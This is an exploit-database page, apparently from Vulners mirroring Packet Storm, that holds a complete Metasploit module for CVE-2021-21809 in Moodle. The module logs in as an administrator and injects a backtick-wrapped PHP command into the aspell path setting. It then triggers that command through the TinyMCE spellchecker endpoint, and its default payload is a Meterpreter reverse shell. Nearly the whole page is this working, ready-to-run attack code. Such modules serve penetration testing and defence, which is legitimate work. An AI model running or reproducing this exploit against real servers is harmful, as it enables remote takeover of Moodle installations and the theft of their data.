Lucene search
K

Moodle SpellChecker Path Authenticated Remote Command Execution

🗓️ 12 Oct 2021 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 338 Views

Moodle SpellChecker Path Authenticated Remote Command Execution allows authenticated administrator to define spellcheck settings via web interface and update the aspell path to include a command injection

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Moodle Remote Command Execution Vulnerability
31 Oct 201300:00
zdt
0day.today
Moodle SpellChecker Path Authenticated Remote Command Execution Exploit
13 Oct 202100:00
zdt
0day.today
Moodle Authenticated Spelling Binary Remote Code Execution Exploit
13 Oct 202100:00
zdt
Circl
CVE-2013-3630
31 Oct 201300:00
circl
Circl
CVE-2021-21809
24 Jun 202102:17
circl
CNNVD
Moodle 操作系统命令注入漏洞
22 Jun 202100:00
cnnvd
CNVD
Moodle Command Execution Vulnerability
25 Jun 202100:00
cnvd
Check Point Advisories
Moodle Spellcheck Remote Command Execution (CVE-2013-3630)
18 Nov 201400:00
checkpoint_advisories
Check Point Advisories
Moodle Command Injection (CVE-2021-21809)
26 Jul 202100:00
checkpoint_advisories
CVE
CVE-2013-3630
1 Nov 201301:00
cve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Moodle  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',  
'Description' => %q{  
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.  
An administrator can update the aspell path to include a command injection. This is extremely  
similar to CVE-2013-3630, just using a different variable.  
  
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Adam Reiser', # Discovery  
'h00die' # msf module  
],  
'References' => [  
['CVE', '2021-21809'],  
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']  
],  
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },  
'Payload' => {  
'BadChars' => "'"  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => '2021-06-22',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),  
]  
)  
end  
  
def change_aspellpath(value = '')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'systempaths'  
},  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, 'Error retrieving settings') unless res  
res.body =~ /sesskey":"([^"]+)"/  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'systempaths'  
},  
'vars_post' =>  
{  
'section' => 'systempaths',  
'action' => 'save-settings',  
'sesskey' => Regexp.last_match(1),  
'return' => '',  
's__pathtophp' => '',  
's__pathtodu' => '',  
's__aspellpath' => value,  
's__pathtodot' => '',  
's__pathtogs' => '/usr/bin/gs',  
's__pathtopython' => ''  
},  
'keep_cookies' => true  
})  
end  
  
def set_spellchecker(checker = '')  
# '' is None in the gui, and is the default  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'tinymcespellcheckersettings'  
},  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
res.body =~ /sesskey":"([^"]+)"/  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' =>  
{  
'section' => 'tinymcespellcheckersettings'  
},  
'vars_post' =>  
{  
'section' => 'tinymcespellcheckersettings',  
'action' => 'save-settings',  
'sesskey' => Regexp.last_match(1),  
'return' => '',  
's_tinymce_spellchecker_spellengine' => checker,  
's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default  
},  
'keep_cookies' => true  
})  
  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
end  
  
def check  
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?  
  
v = moodle_version  
return CheckCode::Detected('Unable to determine moodle version') if v.nil?  
# according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation  
# so maybe this is not going to get patched? Assuming 3.0.0+  
if Rex::Version.new(v) > Rex::Version.new('3.0.0')  
return CheckCode::Appears("Exploitable Moodle version #{v} detected")  
end  
  
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")  
end  
  
def exploit  
print_status("Authenticating as user: #{datastore['USERNAME']}")  
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?  
cookies.each do |cookie|  
cookie_jar.add(cookie)  
end  
print_status('Updating aspell path')  
# Site administration, Server, Server, System paths  
change_aspellpath("`php -r \"#{payload.encoded}\" &`")  
  
print_status('Changing spell engine to PSpellShell')  
set_spellchecker('PSpellShell')  
# Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker  
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'  
  
print_status('Triggering payload')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),  
'data' => spellcheck,  
'ctype' => 'application/json',  
'keep_cookies' => true  
})  
  
fail_with(Failure::Unreachable, 'Error triggering payload') if res  
end  
  
# prefer cleanup over on_session since we may have changed things, regardless of successful exploit  
def cleanup  
print_status('Sleeping 5 seconds before cleanup')  
Rex.sleep(5)  
print_status("Authenticating as user: #{datastore['USERNAME']}")  
cookie_jar.clear # clear cookies to prevent timeouts  
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])  
if cookies.nil? || cookies.empty?  
print_bad('Failed login during cleanup')  
else  
cookies.each do |cookie|  
cookie_jar.add(cookie)  
end  
print_status('Removing RCE from settings')  
change_aspellpath  
set_spellchecker  
end  
super  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation